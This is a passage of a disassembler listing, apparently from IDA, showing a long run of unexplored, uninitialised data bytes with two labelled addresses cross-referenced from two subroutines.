		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807C82C	db ? ; unexplored	; DATA XREF: sub_805A11C+58o
					; sub_805A11C+E1o ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807C9F0	db ? ; unexplored	; DATA XREF: sub_805B144+22o
					; sub_805B144+30o ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
